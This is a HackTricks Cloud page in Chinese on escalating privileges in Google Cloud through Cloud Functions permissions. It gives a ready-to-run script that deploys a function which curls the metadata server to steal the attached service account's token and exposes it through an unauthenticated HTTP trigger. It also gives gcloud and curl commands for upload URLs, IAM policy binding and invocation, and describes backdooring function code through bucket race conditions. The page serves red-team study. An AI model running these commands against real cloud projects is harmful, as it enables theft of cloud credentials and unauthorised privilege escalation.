GCP - Cloudfunctions Privesc
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
cloudfunctions
更多关于 Cloud Functions 的信息:
cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs
拥有这些权限的攻击者可以 创建一个新的 Cloud Function,部署任意(恶意)代码并分配一个 Service Account。然后,从元数据中 leak 该 Service Account 的 token 来提升为该 Service Account 的权限。\ 触发该函数可能还需要一些权限。
该方法的 Exploit scripts 可以在 here 和 here 找到,预构建的 .zip 文件可以在 here 找到。
cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs
拥有这些权限的攻击者可以 修改 Function 的代码,甚至修改所附的 Service Account,以达到 exfiltrating the token 的目的。
Caution
为了部署 cloud functions,你还需要对默认的 compute service account 或用于构建镜像的 service account 拥有 actAs 权限。
可能还需要一些额外权限,例如针对版本 1 的 cloudfunctions 的 .call 权限,或用于触发函数的角色 role/run.invoker。
# Create new code
temp_dir=$(mktemp -d)
cat > $temp_dir/main.py <<EOF
import subprocess
def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF
echo "" > $temp_dir/requirements.txt
zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
Caution
如果出现错误
Permission 'run.services.setIamPolicy' denied on resource...是因为您使用了--allow-unauthenticated参数并且没有足够的权限。
The exploit script for this method can be found here.
cloudfunctions.functions.sourceCodeSet
拥有此权限,您可以获得一个签名 URL 来向函数的 bucket 上传文件(但函数的代码不会被更改,您仍需要更新它)
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
不太确定从 attackers 的角度来看只有这个权限有多大用处,但值得知道。
cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs
给自己任何上述 .update 或 .create 权限以进行 escalate。
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"
cloudfunctions.functions.update
仅拥有 cloudfunctions 权限,而没有 iam.serviceAccounts.actAs,你将无法更新函数,因此这不是一个有效的 PRIVESC。
调用函数
拥有 cloudfunctions.functions.get、cloudfunctions.functions.invoke、run.jobs.run 和 run.routes.invoke 权限的身份可以直接调用 Cloud Functions。函数还必须允许公共流量,或者调用者必须与函数位于相同的网络内。
curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{ "name": "Developer" }'
对 bucket 的读写访问
如果你对该 bucket 拥有读写权限,你可以监视代码的变更,并且每当 bucket 发生更新时,你可以将新代码替换为你的代码,使得新版本的 Cloud Function 会以你提交的带后门代码运行。
你可以在以下内容中了解更多关于该攻击的信息:
然而,你无法利用此方法预先入侵第三方的 Cloud Functions;如果你在自己的账号中创建该 bucket 并赋予公开权限以便外部项目可以写入,你会遇到以下错误:
 (1) (1).png)
Caution
不过,这可能被用于 DoS 攻击。
对 Artifact Registry 的读写访问
当创建 Cloud Function 时,会向该项目的 Artifact Registry 推送一个新的 docker image。我尝试用新的镜像替换它,甚至删除当前镜像(以及 cache 镜像),但没有任何变化,Cloud Function 仍然继续运行。因此,可能可以像对 bucket 的方法那样利用 Race Condition 攻击 来改变将要运行的 docker 容器,但 仅仅修改存储的镜像并不能用来攻陷 Cloud Function。
参考资料
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

